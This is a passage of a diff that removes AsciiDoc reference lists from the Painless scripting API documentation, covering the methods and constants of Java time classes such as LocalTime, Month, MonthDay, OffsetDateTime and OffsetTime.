-* Instant {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#toInstant(java.time.ZoneOffset)[toInstant](ZoneOffset)
-* LocalDate {java11-javadoc}/java.base/java/time/LocalDateTime.html#toLocalDate()[toLocalDate]()
-* LocalTime {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#toLocalTime()[toLocalTime]()
-* null {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#toString()[toString]()
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#truncatedTo(java.time.temporal.TemporalUnit)[truncatedTo](TemporalUnit)
-* long {java11-javadoc}/java.base/java/time/temporal/Temporal.html#until(java.time.temporal.Temporal,java.time.temporal.TemporalUnit)[until](Temporal, TemporalUnit)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#with(java.time.temporal.TemporalAdjuster)[with](TemporalAdjuster)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#with(java.time.temporal.TemporalField,long)[with](TemporalField, long)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#withDayOfMonth(int)[withDayOfMonth](int)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#withDayOfYear(int)[withDayOfYear](int)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#withHour(int)[withHour](int)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#withMinute(int)[withMinute](int)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#withMonth(int)[withMonth](int)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#withSecond(int)[withSecond](int)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#withYear(int)[withYear](int)
-
-
-[[painless-api-reference-shared-LocalTime]]
-==== LocalTime
-* static LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#MAX[MAX]
-* static LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#MIDNIGHT[MIDNIGHT]
-* static LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#MIN[MIN]
-* static LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#NOON[NOON]
-* static LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#from(java.time.temporal.TemporalAccessor)[from](TemporalAccessor)
-* static LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#of(int,int)[of](int, int)
-* static LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#of(int,int,int)[of](int, int, int)
-* static LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#of(int,int,int,int)[of](int, int, int, int)
-* static LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#ofNanoOfDay(long)[ofNanoOfDay](long)
-* static LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#ofSecondOfDay(long)[ofSecondOfDay](long)
-* static LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#parse(java.lang.CharSequence)[parse](CharSequence)
-* static LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#parse(java.lang.CharSequence,java.time.format.DateTimeFormatter)[parse](CharSequence, DateTimeFormatter)
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAdjuster.html#adjustInto(java.time.temporal.Temporal)[adjustInto](Temporal)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalTime.html#atDate(java.time.LocalDate)[atDate](LocalDate)
-* OffsetTime {java11-javadoc}/java.base/java/time/LocalTime.html#atOffset(java.time.ZoneOffset)[atOffset](ZoneOffset)
-* int {java11-javadoc}/java.base/java/time/LocalTime.html#compareTo(java.time.LocalTime)[compareTo](LocalTime)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/time/LocalTime.html#format(java.time.format.DateTimeFormatter)[format](DateTimeFormatter)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* int {java11-javadoc}/java.base/java/time/LocalTime.html#getHour()[getHour]()
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* int {java11-javadoc}/java.base/java/time/LocalTime.html#getMinute()[getMinute]()
-* int {java11-javadoc}/java.base/java/time/LocalTime.html#getNano()[getNano]()
-* int {java11-javadoc}/java.base/java/time/LocalTime.html#getSecond()[getSecond]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/LocalTime.html#isAfter(java.time.LocalTime)[isAfter](LocalTime)
-* boolean {java11-javadoc}/java.base/java/time/LocalTime.html#isBefore(java.time.LocalTime)[isBefore](LocalTime)
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#minus(java.time.temporal.TemporalAmount)[minus](TemporalAmount)
-* LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#minus(long,java.time.temporal.TemporalUnit)[minus](long, TemporalUnit)
-* LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#minusHours(long)[minusHours](long)
-* LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#minusMinutes(long)[minusMinutes](long)
-* LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#minusNanos(long)[minusNanos](long)
-* LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#minusSeconds(long)[minusSeconds](long)
-* LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#plus(java.time.temporal.TemporalAmount)[plus](TemporalAmount)
-* LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#plus(long,java.time.temporal.TemporalUnit)[plus](long, TemporalUnit)
-* LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#plusHours(long)[plusHours](long)
-* LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#plusMinutes(long)[plusMinutes](long)
-* LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#plusNanos(long)[plusNanos](long)
-* LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#plusSeconds(long)[plusSeconds](long)
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* long {java11-javadoc}/java.base/java/time/LocalTime.html#toNanoOfDay()[toNanoOfDay]()
-* int {java11-javadoc}/java.base/java/time/LocalTime.html#toSecondOfDay()[toSecondOfDay]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#truncatedTo(java.time.temporal.TemporalUnit)[truncatedTo](TemporalUnit)
-* long {java11-javadoc}/java.base/java/time/temporal/Temporal.html#until(java.time.temporal.Temporal,java.time.temporal.TemporalUnit)[until](Temporal, TemporalUnit)
-* LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#with(java.time.temporal.TemporalAdjuster)[with](TemporalAdjuster)
-* LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#with(java.time.temporal.TemporalField,long)[with](TemporalField, long)
-* LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#withHour(int)[withHour](int)
-* LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#withMinute(int)[withMinute](int)
-* LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#withNano(int)[withNano](int)
-* LocalTime {java11-javadoc}/java.base/java/time/LocalTime.html#withSecond(int)[withSecond](int)
-
-
-[[painless-api-reference-shared-Month]]
-==== Month
-* static Month {java11-javadoc}/java.base/java/time/Month.html#APRIL[APRIL]
-* static Month {java11-javadoc}/java.base/java/time/Month.html#AUGUST[AUGUST]
-* static Month {java11-javadoc}/java.base/java/time/Month.html#DECEMBER[DECEMBER]
-* static Month {java11-javadoc}/java.base/java/time/Month.html#FEBRUARY[FEBRUARY]
-* static Month {java11-javadoc}/java.base/java/time/Month.html#JANUARY[JANUARY]
-* static Month {java11-javadoc}/java.base/java/time/Month.html#JULY[JULY]
-* static Month {java11-javadoc}/java.base/java/time/Month.html#JUNE[JUNE]
-* static Month {java11-javadoc}/java.base/java/time/Month.html#MARCH[MARCH]
-* static Month {java11-javadoc}/java.base/java/time/Month.html#MAY[MAY]
-* static Month {java11-javadoc}/java.base/java/time/Month.html#NOVEMBER[NOVEMBER]
-* static Month {java11-javadoc}/java.base/java/time/Month.html#OCTOBER[OCTOBER]
-* static Month {java11-javadoc}/java.base/java/time/Month.html#SEPTEMBER[SEPTEMBER]
-* static Month {java11-javadoc}/java.base/java/time/Month.html#from(java.time.temporal.TemporalAccessor)[from](TemporalAccessor)
-* static Month {java11-javadoc}/java.base/java/time/Month.html#of(int)[of](int)
-* static Month {java11-javadoc}/java.base/java/time/Month.html#valueOf(java.lang.String)[valueOf](null)
-* static Month[] {java11-javadoc}/java.base/java/time/Month.html#values()[values]()
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAdjuster.html#adjustInto(java.time.temporal.Temporal)[adjustInto](Temporal)
-* int {java11-javadoc}/java.base/java/lang/Enum.html#compareTo(java.lang.Enum)[compareTo](Enum)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/time/Month.html#firstDayOfYear(boolean)[firstDayOfYear](boolean)
-* Month {java11-javadoc}/java.base/java/time/Month.html#firstMonthOfQuarter()[firstMonthOfQuarter]()
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* null {java11-javadoc}/java.base/java/time/Month.html#getDisplayName(java.time.format.TextStyle,java.util.Locale)[getDisplayName](TextStyle, Locale)
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* int {java11-javadoc}/java.base/java/time/Month.html#getValue()[getValue]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* int {java11-javadoc}/java.base/java/time/Month.html#length(boolean)[length](boolean)
-* int {java11-javadoc}/java.base/java/time/Month.html#maxLength()[maxLength]()
-* int {java11-javadoc}/java.base/java/time/Month.html#minLength()[minLength]()
-* Month {java11-javadoc}/java.base/java/time/Month.html#minus(long)[minus](long)
-* null {java11-javadoc}/java.base/java/lang/Enum.html#name()[name]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#ordinal()[ordinal]()
-* Month {java11-javadoc}/java.base/java/time/Month.html#plus(long)[plus](long)
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-MonthDay]]
-==== MonthDay
-* static MonthDay {java11-javadoc}/java.base/java/time/MonthDay.html#from(java.time.temporal.TemporalAccessor)[from](TemporalAccessor)
-* static MonthDay {java11-javadoc}/java.base/java/time/MonthDay.html#of(int,int)[of](int, int)
-* static MonthDay {java11-javadoc}/java.base/java/time/MonthDay.html#parse(java.lang.CharSequence)[parse](CharSequence)
-* static MonthDay {java11-javadoc}/java.base/java/time/MonthDay.html#parse(java.lang.CharSequence,java.time.format.DateTimeFormatter)[parse](CharSequence, DateTimeFormatter)
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAdjuster.html#adjustInto(java.time.temporal.Temporal)[adjustInto](Temporal)
-* LocalDate {java11-javadoc}/java.base/java/time/MonthDay.html#atYear(int)[atYear](int)
-* int {java11-javadoc}/java.base/java/time/MonthDay.html#compareTo(java.time.MonthDay)[compareTo](MonthDay)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/time/MonthDay.html#format(java.time.format.DateTimeFormatter)[format](DateTimeFormatter)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* int {java11-javadoc}/java.base/java/time/MonthDay.html#getDayOfMonth()[getDayOfMonth]()
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* Month {java11-javadoc}/java.base/java/time/MonthDay.html#getMonth()[getMonth]()
-* int {java11-javadoc}/java.base/java/time/MonthDay.html#getMonthValue()[getMonthValue]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/MonthDay.html#isAfter(java.time.MonthDay)[isAfter](MonthDay)
-* boolean {java11-javadoc}/java.base/java/time/MonthDay.html#isBefore(java.time.MonthDay)[isBefore](MonthDay)
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* boolean {java11-javadoc}/java.base/java/time/MonthDay.html#isValidYear(int)[isValidYear](int)
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* MonthDay {java11-javadoc}/java.base/java/time/MonthDay.html#with(java.time.Month)[with](Month)
-* MonthDay {java11-javadoc}/java.base/java/time/MonthDay.html#withDayOfMonth(int)[withDayOfMonth](int)
-* MonthDay {java11-javadoc}/java.base/java/time/MonthDay.html#withMonth(int)[withMonth](int)
-
-
-[[painless-api-reference-shared-OffsetDateTime]]
-==== OffsetDateTime
-* static OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#MAX[MAX]
-* static OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#MIN[MIN]
-* static OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#from(java.time.temporal.TemporalAccessor)[from](TemporalAccessor)
-* static OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#of(java.time.LocalDateTime,java.time.ZoneOffset)[of](LocalDateTime, ZoneOffset)
-* static OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#of(java.time.LocalDate,java.time.LocalTime,java.time.ZoneOffset)[of](LocalDate, LocalTime, ZoneOffset)
-* static OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#of(int,int,int,int,int,int,int,java.time.ZoneOffset)[of](int, int, int, int, int, int, int, ZoneOffset)
-* static OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#ofInstant(java.time.Instant,java.time.ZoneId)[ofInstant](Instant, ZoneId)
-* static OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#parse(java.lang.CharSequence)[parse](CharSequence)
-* static OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#parse(java.lang.CharSequence,java.time.format.DateTimeFormatter)[parse](CharSequence, DateTimeFormatter)
-* static Comparator {java11-javadoc}/java.base/java/time/OffsetDateTime.html#timeLineOrder()[timeLineOrder]()
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAdjuster.html#adjustInto(java.time.temporal.Temporal)[adjustInto](Temporal)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#atZoneSameInstant(java.time.ZoneId)[atZoneSameInstant](ZoneId)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#atZoneSimilarLocal(java.time.ZoneId)[atZoneSimilarLocal](ZoneId)
-* int {java11-javadoc}/java.base/java/time/OffsetDateTime.html#compareTo(java.time.OffsetDateTime)[compareTo](OffsetDateTime)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/time/OffsetDateTime.html#format(java.time.format.DateTimeFormatter)[format](DateTimeFormatter)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* int {java11-javadoc}/java.base/java/time/OffsetDateTime.html#getDayOfMonth()[getDayOfMonth]()
-* DayOfWeek {java11-javadoc}/java.base/java/time/OffsetDateTime.html#getDayOfWeek()[getDayOfWeek]()
-* int {java11-javadoc}/java.base/java/time/OffsetDateTime.html#getDayOfYear()[getDayOfYear]()
-* int {java11-javadoc}/java.base/java/time/OffsetDateTime.html#getHour()[getHour]()
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* int {java11-javadoc}/java.base/java/time/OffsetDateTime.html#getMinute()[getMinute]()
-* Month {java11-javadoc}/java.base/java/time/OffsetDateTime.html#getMonth()[getMonth]()
-* int {java11-javadoc}/java.base/java/time/OffsetDateTime.html#getMonthValue()[getMonthValue]()
-* int {java11-javadoc}/java.base/java/time/OffsetDateTime.html#getNano()[getNano]()
-* ZoneOffset {java11-javadoc}/java.base/java/time/OffsetDateTime.html#getOffset()[getOffset]()
-* int {java11-javadoc}/java.base/java/time/OffsetDateTime.html#getSecond()[getSecond]()
-* int {java11-javadoc}/java.base/java/time/OffsetDateTime.html#getYear()[getYear]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/OffsetDateTime.html#isAfter(java.time.OffsetDateTime)[isAfter](OffsetDateTime)
-* boolean {java11-javadoc}/java.base/java/time/OffsetDateTime.html#isBefore(java.time.OffsetDateTime)[isBefore](OffsetDateTime)
-* boolean {java11-javadoc}/java.base/java/time/OffsetDateTime.html#isEqual(java.time.OffsetDateTime)[isEqual](OffsetDateTime)
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#minus(java.time.temporal.TemporalAmount)[minus](TemporalAmount)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#minus(long,java.time.temporal.TemporalUnit)[minus](long, TemporalUnit)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#minusDays(long)[minusDays](long)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#minusHours(long)[minusHours](long)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#minusMinutes(long)[minusMinutes](long)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#minusMonths(long)[minusMonths](long)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#minusNanos(long)[minusNanos](long)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#minusSeconds(long)[minusSeconds](long)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#minusWeeks(long)[minusWeeks](long)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#minusYears(long)[minusYears](long)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#plus(java.time.temporal.TemporalAmount)[plus](TemporalAmount)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#plus(long,java.time.temporal.TemporalUnit)[plus](long, TemporalUnit)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#plusDays(long)[plusDays](long)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#plusHours(long)[plusHours](long)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#plusMinutes(long)[plusMinutes](long)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#plusMonths(long)[plusMonths](long)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#plusNanos(long)[plusNanos](long)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#plusSeconds(long)[plusSeconds](long)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#plusWeeks(long)[plusWeeks](long)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#plusYears(long)[plusYears](long)
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* long {java11-javadoc}/java.base/java/time/OffsetDateTime.html#toEpochSecond()[toEpochSecond]()
-* Instant {java11-javadoc}/java.base/java/time/OffsetDateTime.html#toInstant()[toInstant]()
-* LocalDate {java11-javadoc}/java.base/java/time/OffsetDateTime.html#toLocalDate()[toLocalDate]()
-* LocalDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#toLocalDateTime()[toLocalDateTime]()
-* LocalTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#toLocalTime()[toLocalTime]()
-* OffsetTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#toOffsetTime()[toOffsetTime]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* ZonedDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#toZonedDateTime()[toZonedDateTime]()
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#truncatedTo(java.time.temporal.TemporalUnit)[truncatedTo](TemporalUnit)
-* long {java11-javadoc}/java.base/java/time/temporal/Temporal.html#until(java.time.temporal.Temporal,java.time.temporal.TemporalUnit)[until](Temporal, TemporalUnit)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#with(java.time.temporal.TemporalAdjuster)[with](TemporalAdjuster)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#with(java.time.temporal.TemporalField,long)[with](TemporalField, long)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#withDayOfMonth(int)[withDayOfMonth](int)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#withDayOfYear(int)[withDayOfYear](int)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#withHour(int)[withHour](int)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#withMinute(int)[withMinute](int)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#withMonth(int)[withMonth](int)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#withNano(int)[withNano](int)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#withOffsetSameInstant(java.time.ZoneOffset)[withOffsetSameInstant](ZoneOffset)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#withOffsetSameLocal(java.time.ZoneOffset)[withOffsetSameLocal](ZoneOffset)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#withSecond(int)[withSecond](int)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/OffsetDateTime.html#withYear(int)[withYear](int)
-
-
-[[painless-api-reference-shared-OffsetTime]]
-==== OffsetTime
-* static OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#MAX[MAX]
-* static OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#MIN[MIN]
-* static OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#from(java.time.temporal.TemporalAccessor)[from](TemporalAccessor)
-* static OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#of(java.time.LocalTime,java.time.ZoneOffset)[of](LocalTime, ZoneOffset)
-* static OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#of(int,int,int,int,java.time.ZoneOffset)[of](int, int, int, int, ZoneOffset)
-* static OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#ofInstant(java.time.Instant,java.time.ZoneId)[ofInstant](Instant, ZoneId)
-* static OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#parse(java.lang.CharSequence)[parse](CharSequence)
-* static OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#parse(java.lang.CharSequence,java.time.format.DateTimeFormatter)[parse](CharSequence, DateTimeFormatter)
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAdjuster.html#adjustInto(java.time.temporal.Temporal)[adjustInto](Temporal)
-* int {java11-javadoc}/java.base/java/time/OffsetTime.html#compareTo(java.time.OffsetTime)[compareTo](OffsetTime)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/time/OffsetTime.html#format(java.time.format.DateTimeFormatter)[format](DateTimeFormatter)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* int {java11-javadoc}/java.base/java/time/OffsetTime.html#getHour()[getHour]()
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* int {java11-javadoc}/java.base/java/time/OffsetTime.html#getMinute()[getMinute]()
-* int {java11-javadoc}/java.base/java/time/OffsetTime.html#getNano()[getNano]()
-* ZoneOffset {java11-javadoc}/java.base/java/time/OffsetTime.html#getOffset()[getOffset]()
-* int {java11-javadoc}/java.base/java/time/OffsetTime.html#getSecond()[getSecond]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/OffsetTime.html#isAfter(java.time.OffsetTime)[isAfter](OffsetTime)
-* boolean {java11-javadoc}/java.base/java/time/OffsetTime.html#isBefore(java.time.OffsetTime)[isBefore](OffsetTime)
-* boolean {java11-javadoc}/java.base/java/time/OffsetTime.html#isEqual(java.time.OffsetTime)[isEqual](OffsetTime)
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#minus(java.time.temporal.TemporalAmount)[minus](TemporalAmount)
-* OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#minus(long,java.time.temporal.TemporalUnit)[minus](long, TemporalUnit)
-* OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#minusHours(long)[minusHours](long)
-* OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#minusMinutes(long)[minusMinutes](long)
-* OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#minusNanos(long)[minusNanos](long)
-* OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#minusSeconds(long)[minusSeconds](long)
-* OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#plus(java.time.temporal.TemporalAmount)[plus](TemporalAmount)
-* OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#plus(long,java.time.temporal.TemporalUnit)[plus](long, TemporalUnit)
-* OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#plusHours(long)[plusHours](long)
-* OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#plusMinutes(long)[plusMinutes](long)
-* OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#plusNanos(long)[plusNanos](long)
-* OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#plusSeconds(long)[plusSeconds](long)
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* LocalTime {java11-javadoc}/java.base/java/time/OffsetTime.html#toLocalTime()[toLocalTime]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#truncatedTo(java.time.temporal.TemporalUnit)[truncatedTo](TemporalUnit)
-* long {java11-javadoc}/java.base/java/time/temporal/Temporal.html#until(java.time.temporal.Temporal,java.time.temporal.TemporalUnit)[until](Temporal, TemporalUnit)
-* OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#with(java.time.temporal.TemporalAdjuster)[with](TemporalAdjuster)
-* OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#with(java.time.temporal.TemporalField,long)[with](TemporalField, long)
-* OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#withHour(int)[withHour](int)
-* OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#withMinute(int)[withMinute](int)
-* OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#withNano(int)[withNano](int)
-* OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#withOffsetSameInstant(java.time.ZoneOffset)[withOffsetSameInstant](ZoneOffset)
-* OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#withOffsetSameLocal(java.time.ZoneOffset)[withOffsetSameLocal](ZoneOffset)
-* OffsetTime {java11-javadoc}/java.base/java/time/OffsetTime.html#withSecond(int)[withSecond](int)
-
-
